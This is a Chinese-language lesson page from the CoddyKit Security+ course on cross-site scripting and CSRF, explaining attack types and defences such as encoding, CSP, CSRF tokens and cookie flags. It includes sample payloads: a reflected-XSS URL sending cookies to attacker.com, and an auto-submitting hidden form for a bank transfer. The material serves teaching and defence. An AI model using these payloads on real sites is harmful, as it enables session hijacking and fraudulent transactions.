0Pricing
Security+ Academy · 课时

跨站脚本攻击(XSS)与 CSRF

了解反射型、存储型和基于 DOM 的 XSS,以及跨站请求伪造攻击,并学习浏览器层面的拦截防御措施。

跨站脚本攻击(XSS)与 CSRF 是 CoddyKit 上的免费 Security+ Academy 课时。 这是第 2 节课,共 4 节。 你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。 这是 Security+ Academy 学习路径的一部分,你的进度在网页和 CoddyKit 应用中同步。 Security+ Academy 课程共包含 4 节课。

什么是跨站脚本?

跨站脚本(XSS)是一种客户端注入漏洞,Attacker 会将 Malicious 脚本注入其他用户查看的网页。与攻击 Server 的 SQL 注入不同,XSS 的目标是受害者的浏览器。当浏览器渲染 Attacker 的脚本时,该脚本会以与合法页面脚本相同的权限执行,从而可能导致会话劫持、凭据窃取和恶意软件传播。

反射型 XSS 详解

反射型 XSS发生在 Malicious 脚本被嵌入 URL,而 Server 未进行适当编码就立即将其“反射”回 HTTP 响应时。受害者会受到诱骗(通常通过钓鱼链接)而点击构造的 URL,导致其浏览器执行 Attacker 的脚本。反射型 XSS 不会持久存在——只有受害者点击 Malicious 链接时才会执行。

# Malicious URL with reflected XSS payload
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

# Server reflects the query param unsanitized into the HTML:
# <p>Results for: <script>...</script></p>

存储型 XSS 与基于 DOM 的 XSS

存储型(持久型)XSS会将 Malicious 脚本嵌入应用的数据库,例如评论或论坛帖子中。每个查看该 Content 的用户都会在自己的浏览器中执行该脚本,因此存储型 XSS 比反射型 XSS 危险得多。基于 DOM 的 XSS完全发生在浏览器中:客户端 JavaScript 从 DOM 中读取由 Attacker 控制的数据(例如 URL 片段),然后以不安全的方式将其写回页面。

XSS 防御:编码与 CSP

防御 XSS 的主要方法是输出编码:在浏览器渲染特殊字符之前,将其转换为对应的 HTML 实体(&lt;、&gt;、&amp;)。Content Security Policy(CSP)标头会限制可执行的脚本,从而提供重要的第二层 Defense。还应在 Server 端执行输入验证(允许列表)。

# HTTP header — Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'

# Blocks inline scripts and restricts external script sources

什么是跨站请求伪造?

跨站请求伪造(CSRF)利用了网站对已通过身份验证的用户浏览器的信任。Attacker 会诱骗受害者的浏览器,向受害者已登录的网站发送未经其允许的已认证请求。由于浏览器会自动附加会话 Cookie,目标 Server 会认为该请求是合法的。常见的 CSRF 攻击包括转移资金、更改电子邮件地址或修改账户设置。

CSRF 攻击的运作方式

假设某用户已登录其银行网站 bank.com。Attacker 向该用户发送一封包含隐藏图像标签的电子邮件:<img src='https://bank.com/transfer?to=attacker&amount=1000'>。打开邮件后,浏览器会自动加载该图像 URL,并附带受害者的银行会话 Cookie 发送转账请求。银行会将其作为合法请求处理。

<!-- Malicious hidden form on attacker's page -->
<form action='https://bank.com/transfer' method='POST' id='csrf'>
  <input type='hidden' name='to' value='attacker_account' />
  <input type='hidden' name='amount' value='5000' />
</form>
<script>document.getElementById('csrf').submit();</script>

CSRF 防御:令牌与 SameSite

最有效的 CSRF Defense 是CSRF 令牌:将唯一且不可预测的值嵌入每个表单,并在 Server 端进行 Verify。由于 Attacker 无法从不同源读取该令牌(同源 Policy),伪造请求缺少有效令牌,因此会被拒绝。SameSite Cookie 属性(SameSite=Strict 或 Lax)还可以阻止浏览器在跨站请求中发送 Cookie。

# Set SameSite cookie attribute
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly

# HTML hidden CSRF token in form
<input type='hidden' name='csrf_token' value='a8f3b2c7d1e4...' />

XSS 与 CSRF:关键区别

XSS 和 CSRF 经常被混淆,但它们攻击的目标不同。XSS会注入在受害者浏览器中运行的 Malicious 脚本,利用的是用户对网站的信任。CSRF会伪造从受害者浏览器发往受信任网站的请求,利用的是网站对用户浏览器的信任。XSS 可用于窃取 CSRF 令牌,从而有效地将这两种漏洞串联起来。

HttpOnly 与 Secure Cookie 标志

Cookie 标志可以有效缓解 XSS。HttpOnly标志会阻止 JavaScript 通过 document.cookie 访问 Cookie,即使存在 XSS,也会增加窃取会话令牌的难度。Secure标志可确保 Cookie 仅通过 HTTPS 传输,防止其在未加密信道上被截获。作为纵深防御措施,所有会话 Cookie 都应设置这两个标志。

Set-Cookie: sessionid=xyz789; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600

测试 XSS 漏洞

安全测试人员会将探测载荷注入每个输入字段、URL 参数、HTTP 标头和 JSON 字段,以识别 XSS。一个简单的探测载荷是 <script>alert(1)</script>——如果出现警告框,就可以确认存在 XSS。Burp 套件等工具可以自动执行 XSS 扫描,而OWASP ZAP提供免费的主动扫描功能。基于 DOM 的 XSS 需要分析浏览器端 JavaScript,而不是检查 Server 响应。

XSS 的现实影响

XSS 攻击曾造成严重的现实损害。Samy 蠕虫在 2005 年利用存储型 XSS 自我传播,在 20 小时内扩散到 MySpace 的一百多万个个人资料。XSS 攻击可以窃取会话令牌并完全劫持账户,将用户重定向到钓鱼网站,投放浏览器 Exploit(路过式下载),还可以修改页面 Content,向特定用户显示虚假信息。

快速检查

请测试您对本课 CompTIA Security+(SY0-701)概念的理解。

课程回顾

在本课中,您学到了:XSS 会将脚本注入其他用户查看的页面,CSRF 会诱骗已通过身份验证的浏览器发送伪造请求,而输出编码、CSP、CSRF 令牌和 SameSite Cookie 属性是主要的 Defense。接下来,我们将学习失效的身份验证和不安全的反序列化。

常见问题解答

「跨站脚本攻击(XSS)与 CSRF」课时是免费的吗?

是的 — 「跨站脚本攻击(XSS)与 CSRF」的完整文本可在网页上免费阅读。要进行交互式练习(内置代码编辑器和全天候 AI 导师)并解锁 Security+ Academy 课程的其余内容,请升级到 CoddyKit PRO。 Security+ Academy 课程共包含 4 节课。

「跨站脚本攻击(XSS)与 CSRF」这节课中我会学到什么?

了解反射型、存储型和基于 DOM 的 XSS,以及跨站请求伪造攻击,并学习浏览器层面的拦截防御措施。 你通过在浏览器中直接运行的动手代码来练习 Security+ Academy,全天候 AI 导师会在你学习这节课的过程中回答你的问题。

学习 Security+ Academy 需要有经验吗?

无需任何先前经验。CoddyKit 上的 Security+ Academy 课程适合初学者到高级学习者,你可以从这里开始或从头开始,按照自己的节奏学习。 这是第 2 节课,共 4 节。

「跨站脚本攻击(XSS)与 CSRF」课时需要多长时间?

大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动,所以你能稳步进步,并在网页和应用中从离开的地方继续。

我能在这节 Security+ Academy 课中编写并运行代码吗?

能。每节 Security+ Academy 课都包含内置代码编辑器,你可以在浏览器中直接编写并运行真实代码,并获得即时 AI 反馈 — 无需本地设置。

此课程中的所有课时

  1. SQL 注入与命令注入
  2. 跨站脚本攻击(XSS)与 CSRF
  3. 身份验证失效与不安全反序列化
  4. 安全 SDLC、SAST 与 DAST 工具
← 返回 Security+ Academy